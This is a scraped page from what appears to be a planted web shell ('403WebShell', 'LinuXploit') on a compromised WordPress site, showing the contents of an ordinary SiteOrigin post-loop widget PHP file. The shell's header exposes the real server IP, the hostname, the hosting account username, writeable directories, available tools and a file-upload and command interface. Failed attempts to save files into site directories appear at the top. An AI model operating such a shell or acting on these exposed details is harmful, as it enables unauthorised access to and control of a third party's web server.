Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.142.195.79
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/misswavenigeria.com/wp-content/plugins/siteorigin-panels/inc/widgets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/misswavenigeria.com/wp-content/plugins/siteorigin-panels/inc/widgets/post-loop.php
<?php

/**
 * Display a loop of posts.
 *
 * Class SiteOrigin_Panels_Widgets_PostLoop
 */
class SiteOrigin_Panels_Widgets_PostLoop extends WP_Widget {
	public static $rendering_loop;

	public static $current_loop_template;
	public static $current_loop_instance;
	public static $current_pagination_id;

	/**
	 * @var SiteOrigin_Panels_Widgets_PostLoop_Helper
	 */
	private $helper;

	public function __construct() {
		parent::__construct(
			'siteorigin-panels-postloop',
			__( 'Post Loop', 'siteorigin-panels' ),
			array(
				'description' => __( 'Displays a post loop.', 'siteorigin-panels' ),
			),
			array(
				'width' => 800,
			)
		);
	}

	/**
	 * Are we currently rendering a post loop
	 *
	 * @return bool
	 */
	public static function is_rendering_loop() {
		return self::$rendering_loop;
	}

	/**
	 * Which post loop is currently being rendered
	 *
	 * @return array
	 */
	public static function get_current_loop_template() {
		return self::$current_loop_template;
	}

	/**
	 * Which post loop is currently being rendered
	 *
	 * @return array
	 */
	public static function get_current_loop_instance() {
		return self::$current_loop_instance;
	}

	/**
	 * The pagination id used in custom format pagination links
	 *
	 * @return array
	 */
	public static function get_current_pagination_id() {
		return self::$current_pagination_id;
	}

	/**
	 * Update the widget
	 *
	 * @param array $new
	 * @param array $old
	 *
	 * @return array
	 */
	public function update( $new, $old ) {
		$new['pagination_id'] = rand();

		if ( class_exists( 'SiteOrigin_Widget' ) && class_exists( 'SiteOrigin_Widget_Field_Posts' ) ) {
			$helper = $this->get_helper_widget( $this->get_loop_templates() );

			return $helper->update( $new, $old );
		} else {
			$new['more'] = ! empty( $new['more'] );

			return $new;
		}
	}

	private static function is_legacy_widget_block_preview() {
		return isset( $_GET['legacy-widget-preview'] ) && (
			$_GET['legacy-widget-preview']['idBase'] == 'siteorigin-panels-postloop' ||
			$_GET['legacy-widget-preview']['idBase'] == 'siteorigin-panels-builder'
		);
	}

	private static function is_layout_block_preview() {
		return isset( $_POST['action'] ) && $_POST['action'] == 'so_panels_layout_block_preview';
	}

	/**
	 * @param array $args
	 * @param array $instance
	 */
	public function widget( $args, $instance ) {
		if ( empty( $instance['template'] ) ) {
			return;
		}

		// The Post Loop widget should only preview in WP Admin if it's a Layout Block preview, or a legacy Widget Block preview.
		if ( is_admin() && ! self::is_legacy_widget_block_preview() && ! self::is_layout_block_preview() ) {
			return;
		}

		static $depth = 0;
		$depth++;

		if ( $depth > 1 ) {
			// Because of infinite loops, don't render this post loop if its inside another
			$depth--;
			echo $args['before_widget'] . $args['after_widget'];

			return;
		}

		$query_args = $instance;
		//If Widgets Bundle post selector is available and a posts query has been saved using it.
		if ( function_exists( 'siteorigin_widget_post_selector_process_query' ) && ! empty( $instance['posts'] ) ) {
			$query_args = siteorigin_widget_post_selector_process_query( $instance['posts'] );
			$query_args['additional'] = empty( $instance['additional'] ) ? array() : $instance['additional'];
		} else {
			if ( ! empty( $instance['posts'] ) ) {
				// This is using the new WB 1.9 posts field
				$query_args = wp_parse_args( $instance['posts'], $query_args );
			}

			if ( ! empty( $query_args['sticky'] ) ) {
				switch( $query_args['sticky'] ) {
					case 'ignore':
						$query_args['ignore_sticky_posts'] = 1;
						break;

					case 'only':
						$query_args['post__in'] = get_option( 'sticky_posts' );
						break;

					case 'exclude':
						$query_args['post__not_in'] = get_option( 'sticky_posts' );
						break;
				}
			}
			unset( $query_args['template'] );
			unset( $query_args['title'] );
			unset( $query_args['sticky'] );

			if ( empty( $query_args['additional'] ) ) {
				$query_args['additional'] = array();
			}
		}
		$query_args = wp_parse_args( $query_args['additional'], $query_args );
		unset( $query_args['additional'] );

		global $wp_rewrite;

		if ( $wp_rewrite->using_permalinks() ) {
			if ( apply_filters( 'siteorigin_panels_post_loop_custom_pagination', false  ) ) {
				if ( isset( $instance['pagination_id'] ) ) {
					self::$current_pagination_id = $instance['pagination_id'];

					if (
						isset( $_GET[ 'page-' . self::$current_pagination_id ] ) &&
						is_numeric( $_GET[ 'page-' . self::$current_pagination_id ] )
					) {
						$query_args['paged'] = $_GET[ 'page-' . self::$current_pagination_id ];
					}
				}
			} else {
				if ( get_query_var( 'paged' ) ) {
					// When the widget appears on a sub page.
					$query_args['paged'] = get_query_var( 'paged' );
				} elseif ( strpos( $_SERVER['REQUEST_URI'], '/page/' ) !== false ) {
					// When the widget appears on the home page.
					preg_match( '/\/page\/([0-9]+)\//', $_SERVER['REQUEST_URI'], $matches );

					if ( ! empty( $matches[1] ) ) {
						$query_args['paged'] = (int) $matches[1];
					} else {
						$query_args['paged'] = 1;
					}
				}
			}

			if ( ! isset( $query_args['paged'] ) ) {
				$query_args['paged'] = 1;
			}
		} else {
			// Get current page number when we're not using permalinks
			$query_args['paged'] = isset( $_GET['paged'] ) ? (int) $_GET['paged'] : 1;
		}

		// Exclude the current post to prevent possible infinite loop

		global $siteorigin_panels_current_post;

		if (
			apply_filters( 'siteorigin_panels_postloop_exclude_current_post', true ) &&
			! empty( $siteorigin_panels_current_post )
		) {
			if ( ! empty( $query_args['post__not_in'] ) ) {
				if ( ! is_array( $query_args['post__not_in'] ) ) {
					$query_args['post__not_in'] = explode( ',', $query_args['post__not_in'] );
					$query_args['post__not_in'] = array_map( 'intval', $query_args['post__not_in'] );
				}
				$query_args['post__not_in'][] = $siteorigin_panels_current_post;
			} else {
				$query_args['post__not_in'] = array( $siteorigin_panels_current_post );
			}
		}

		if ( ! empty( $query_args['post__in'] ) && ! is_array( $query_args['post__in'] ) ) {
			$query_args['post__in'] = explode( ',', $query_args['post__in'] );
			$query_args['post__in'] = array_map( 'intval', $query_args['post__in'] );
		}

		// Create the query
		query_posts( apply_filters( 'siteorigin_panels_postloop_query_args', $query_args ) );
		echo $args['before_widget'];

		// Filter the title
		$instance['title'] = apply_filters( 'widget_title', $instance['title'], $instance, $this->id_base );

		if ( ! empty( $instance['title'] ) ) {
			echo $args['before_title'] . wp_kses_post( $instance['title'] ) . $args['after_title'];
		}

		global $more;
		$old_more = $more;
		$more = empty( $instance['more'] );

		self::$rendering_loop = true;
		self::$current_loop_instance = $instance;
		self::$current_loop_template = $instance['template'];

		if ( preg_match( '/\/content*/', '/' . $instance['template'] ) ) {
			while ( have_posts() ) {
				the_post();
				self::locate_template( $instance['template'], true, false );
			}
		} else {
			self::locate_template( $instance['template'], true, false );
		}

		self::$rendering_loop = false;
		self::$current_loop_instance = null;
		self::$current_loop_template = null;
		self::$current_pagination_id = null;

		echo $args['after_widget'];

		// Reset everything
		wp_reset_query();
		$depth--;
	}

	/**
	 * Display the form for the post loop.
	 *
	 * @param array $instance
	 *
	 * @return string|void
	 */
	public function form( $instance ) {
		$templates = $this->get_loop_templates();

		if ( empty( $templates ) ) {
			?><p><?php _e( "Your theme doesn't have any post loops.", 'siteorigin-panels' ); ?></p><?php
			return;
		}

		// If the Widgets Bundle is installed and the post selector is available, use that.
		// Otherwise revert back to our own form fields.
		if ( class_exists( 'SiteOrigin_Widget' ) && class_exists( 'SiteOrigin_Widget_Field_Posts' ) ) {
			$helper = $this->get_helper_widget( $templates );
			$helper->form( $instance );
		} else {
			$instance = wp_parse_args( $instance, array(
				'title' => '',
				'template' => 'loop.php',

				// Query args
				'post_type' => 'post',
				'posts_per_page' => '',

				'order' => 'DESC',
				'orderby' => 'date',

				'sticky' => '',

				'additional' => '',
				'more' => false,
			) );

			?>
			<div class="siteorigin-widget-content">
				<p>
					<label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title', 'siteorigin-panels' ); ?></label>
					<input type="text" class="widefat siteorigin-widget-field" name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>" value="<?php echo esc_attr( $instance['title'] ); ?>">
				</p>
				<p>
					<label for="<?php echo esc_attr( $this->get_field_id( 'template' ) ); ?>">
							<?php esc_html_e( 'Template', 'siteorigin-panels' ); ?>
					</label>
					<select
						id="<?php echo esc_attr( $this->get_field_id( 'template' ) ); ?>"
						name="<?php echo esc_attr( $this->get_field_name( 'template' ) ); ?>"
						class="siteorigin-widget-field"
					>
						<?php foreach ( $templates as $template ) { ?>
							<option value="<?php echo esc_attr( $template ); ?>" <?php selected( $instance['template'], $template ); ?>>
								<?php
								$headers = get_file_data( self::locate_template( $template ), array(
									'loop_name' => 'Loop Name',
								) );
								echo esc_html( ! empty( $headers['loop_name'] ) ? $headers['loop_name'] : $template );
								?>
							</option>
						<?php } ?>
					</select>
				</p>

				<p>
					<label for="<?php echo esc_attr( $this->get_field_id( 'more' ) ); ?>">
						<?php esc_html_e( 'More Link', 'siteorigin-panels' ); ?>
					</label>
					<input
						type="checkbox"
						class="siteorigin-widget-field"
						id="<?php echo esc_attr( $this->get_field_id( 'more' ) ); ?>"
						name="<?php echo esc_attr( $this->get_field_name( 'more' ) ); ?>"
						<?php checked( $instance['more'] ); ?>
					/>
					<br/>
					<small>
						<?php esc_html_e( 'If the template supports it, cut posts and display the more link.', 'siteorigin-panels' ); ?>
					</small>
				</p>
				<?php
				if ( ! empty( $instance['posts'] ) ) {
					$instance = wp_parse_args( $instance['posts'], $instance );
					unset( $instance['posts'] );
					//unset post__in and taxonomies?
				}
				// Get all the loop template files
				$post_types = get_post_types( array( 'public' => true ) );
				$post_types = array_values( $post_types );
				$post_types = array_diff( $post_types, array( 'attachment', 'revision', 'nav_menu_item' ) );
				?>
				<p>
					<label
						for="<?php echo esc_attr( $this->get_field_id( 'post_type' ) ); ?>"
					>
						<?php esc_html_e( 'Post Type', 'siteorigin-panels' ); ?>
					</label>
					<select
						id="<?php echo esc_attr( $this->get_field_id( 'post_type' ) ); ?>"
						name="<?php echo esc_attr( $this->get_field_name( 'post_type' ) ); ?>"
						class="siteorigin-widget-field"
						value="<?php echo esc_attr( $instance['post_type'] ); ?>"
					>
						<?php foreach ( $post_types as $type ) { ?>
							<option value="<?php echo esc_attr( $type ); ?>" <?php selected( $instance['post_type'], $type ); ?>>
								<?php echo esc_html( $type ); ?>
							</option>
						<?php } ?>
					</select>
				</p>

				<p>
					<label
						for="<?php echo esc_attr( $this->get_field_id( 'posts_per_page' ) ); ?>"
					>
						<?php esc_html_e( 'Posts Per Page', 'siteorigin-panels' ); ?>
					</label>
					<input
						type="text"
						class="small-text siteorigin-widget-field"
						id="<?php echo esc_attr( $this->get_field_id( 'posts_per_page' ) ); ?>"
						name="<?php echo esc_attr( $this->get_field_name( 'posts_per_page' ) ); ?>" class="siteorigin-widget-field"
						value="<?php echo esc_attr( $instance['posts_per_page'] ); ?>"
					/>
				</p>

				<p>
					<label for="<?php echo esc_attr( $this->get_field_id( 'orderby' ) ); ?>">
						<?php esc_html_e( 'Order By', 'siteorigin-panels' ); ?>
					</label>

					<select
						id="<?php echo esc_attr( $this->get_field_id( 'orderby' ) ); ?>"
						name="<?php echo esc_attr( $this->get_field_name( 'orderby' ) ); ?>"
						class="siteorigin-widget-field"
						value="<?php echo esc_attr( $instance['orderby'] ); ?>"
					>
						<option value="none" <?php selected( $instance['orderby'], 'none' ); ?>>
							<?php esc_html_e( 'None', 'siteorigin-panels' ); ?>
						</option>
						<option value="ID" <?php selected( $instance['orderby'], 'ID' ); ?>>
							<?php esc_html_e( 'Post ID', 'siteorigin-panels' ); ?>
						</option>
						<option value="author" <?php selected( $instance['orderby'], 'author' ); ?>>
							<?php esc_html_e( 'Author', 'siteorigin-panels' ); ?>
						</option>
						<option value="name" <?php selected( $instance['orderby'], 'name' ); ?>>
							<?php esc_html_e( 'Name', 'siteorigin-panels' ); ?>
						</option>
						<option value="name" <?php selected( $instance['orderby'], 'name' ); ?>>
							<?php esc_html_e( 'Name', 'siteorigin-panels' ); ?>
						</option>
						<option value="date" <?php selected( $instance['orderby'], 'date' ); ?>>
							<?php esc_html_e( 'Date', 'siteorigin-panels' ); ?>
						</option>
						<option value="modified" <?php selected( $instance['orderby'], 'modified' ); ?>>
							<?php esc_html_e( 'Modified', 'siteorigin-panels' ); ?>
						</option>
						<option value="parent" <?php selected( $instance['orderby'], 'parent' ); ?>>
							<?php esc_html_e( 'Parent', 'siteorigin-panels' ); ?>
						</option>
						<option value="rand" <?php selected( $instance['orderby'], 'rand' ); ?>>
							<?php esc_html_e( 'Random', 'siteorigin-panels' ); ?>
						</option>
						<option value="comment_count" <?php selected( $instance['orderby'], 'comment_count' ); ?>>
							<?php esc_html_e( 'Comment Count', 'siteorigin-panels' ); ?>
						</option>
						<option value="menu_order" <?php selected( $instance['orderby'], 'menu_order' ); ?>>
							<?php esc_html_e( 'Menu Order', 'siteorigin-panels' ); ?>
						</option>
						<option value="post__in" <?php selected( $instance['orderby'], 'post__in' ); ?>>
							<?php esc_html_e( 'Post In Order', 'siteorigin-panels' ); ?>
						</option>
					</select>
				</p>

				<p>
					<label for="<?php echo esc_attr( $this->get_field_id( 'order' ) ); ?>">
						<?php esc_html_e( 'Order', 'siteorigin-panels' ); ?>
					</label>
					<select
						id="<?php echo esc_attr( $this->get_field_id( 'order' ) ); ?>"
						class="siteorigin-widget-field"
						name="<?php echo esc_attr( $this->get_field_name( 'order' ) ); ?>"
						value="<?php echo esc_attr( $instance['order'] ); ?>"
					>
						<option value="DESC" <?php selected( $instance['order'], 'DESC' ); ?>>
							<?php esc_html_e( 'Descending', 'siteorigin-panels' ); ?>
						</option>
						<option value="ASC" <?php selected( $instance['order'], 'ASC' ); ?>>
							<?php esc_html_e( 'Ascending', 'siteorigin-panels' ); ?>
						</option>
					</select>
				</p>

				<p>
					<label for="<?php echo esc_attr( $this->get_field_id( 'sticky' ) ); ?>">
						<?php esc_html_e( 'Sticky Posts', 'siteorigin-panels' ); ?>
					</label>
					<select
						id="<?php echo esc_attr( $this->get_field_id( 'sticky' ) ); ?>"
						class="siteorigin-widget-field"
						name="<?php echo esc_attr( $this->get_field_name( 'sticky' ) ); ?>"
						value="<?php echo esc_attr( $instance['sticky'] ); ?>"
					>
						<option value="" <?php selected( $instance['sticky'], '' ); ?>>
							<?php esc_html_e( 'Default', 'siteorigin-panels' ); ?>
						</option>
						<option value="ignore" <?php selected( $instance['sticky'], 'ignore' ); ?>>
							<?php esc_html_e( 'Ignore Sticky', 'siteorigin-panels' ); ?>
						</option>
						<option value="exclude" <?php selected( $instance['sticky'], 'exclude' ); ?>>
							<?php esc_html_e( 'Exclude Sticky', 'siteorigin-panels' ); ?>
						</option>
						<option value="only" <?php selected( $instance['sticky'], 'only' ); ?>>
							<?php esc_html_e( 'Only Sticky', 'siteorigin-panels' ); ?>
						</option>
					</select>
				</p>

				<p>
					<label for="<?php echo esc_attr( $this->get_field_id( 'additional' ) ); ?>">
						<?php esc_html_e( 'Additional ', 'siteorigin-panels' ); ?>
					</label>
					<input
						type="text"
						class="widefat siteorigin-widget-field"
						id="<?php echo esc_attr( $this->get_field_id( 'additional' ) ); ?>"
						name="<?php echo esc_attr( $this->get_field_name( 'additional' ) ); ?>" class="siteorigin-widget-field" value="<?php echo esc_attr( $instance['additional'] ); ?>"
					/>
					<small>
						<?php
						echo preg_replace(
							'/1\{ *(.*?) *\}/',
							'<a href="http://codex.wordpress.org/Function_Reference/query_posts">$1</a>',
							esc_html__( 'Additional query arguments. See 1{query_posts}.', 'siteorigin-panels' )
						);
						?>
					</small>
				</p>

				<a href="https://siteorigin.com/page-builder/bundled-widgets/post-loop-widget/" class="siteorigin-widget-help-link siteorigin-panels-help-link" target="_blank" rel="noopener noreferrer">
					<?php esc_html_e( 'Help', 'siteorigin-panels' ); ?>
				</a>
			</div>
			<?php
		}
	}

	/**
	 * Get all the existing files
	 *
	 * @return array
	 */
	public function get_loop_templates() {
		$templates = array();

		$template_files = array(
			'loop*.php',
			'*/loop*.php',
			'content*.php',
			'*/content*.php',
		);

		$template_dirs = array( get_template_directory(), get_stylesheet_directory() );
		$template_dirs = apply_filters( 'siteorigin_panels_postloop_template_directory', $template_dirs );
		$template_dirs = array_unique( $template_dirs );

		foreach ( $template_dirs  as $dir ) {
			foreach ( $template_files as $template_file ) {
				foreach ( (array) glob( $dir . '/' . $template_file ) as $file ) {
					if ( file_exists( $file ) ) {
						$templates[] = str_replace( $dir . '/', '', $file );
					}
				}
			}
		}
		$templates = array_unique( apply_filters( 'siteorigin_panels_postloop_templates', $templates ) );
		$templates = array_filter( $templates, array( $this, 'validate_template_file' ) );

		// Update array indexes to ensure logical indexing
		sort( $templates );

		return $templates;
	}

	/**
	 * Checks if a template file is valid
	 *
	 * @return bool
	 */
	public function validate_template_file( $filename ) {
		return validate_file( $filename ) == 0 &&
			substr( $filename, -4 ) == '.php' &&
			self::locate_template( $filename ) != '';
	}

	/**
	 * Find the location of a given template. Either in the theme or in the plugin directory.
	 *
	 * @param bool $load
	 * @param bool $require_once
	 *
	 * @return string The template location.
	 */
	public static function locate_template( $template_names, $load = false, $require_once = true ) {
		$located = '';

		foreach ( (array) $template_names as $template_name ) {
			$located = locate_template( $template_name, false );

			if ( ! $located && file_exists( WP_PLUGIN_DIR . '/' . $template_name ) ) {
				// Template added by a plugin
				$located = WP_PLUGIN_DIR . '/' . $template_name;
			}
		}

		if ( $load && '' != $located ) {
			load_template( $located, $require_once );
		}

		return $located;
	}

	/**
	 * Get the helper widget based on the Widgets Bundle's classes.
	 *
	 * @param $templates array Blog loop templates.
	 *
	 * @return mixed
	 */
	private function get_helper_widget( $templates ) {
		if ( empty( $this->helper ) &&
			class_exists( 'SiteOrigin_Widget' ) &&
			class_exists( 'SiteOrigin_Widget_Field_Posts' )
		) {
			$this->helper = new SiteOrigin_Panels_Widgets_PostLoop_Helper( $templates );
		}
		// These ensure the form fields name attributes are correct.
		$this->helper->id_base = $this->id_base;
		$this->helper->id = $this->id;
		$this->helper->number = $this->number;

		return $this->helper;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit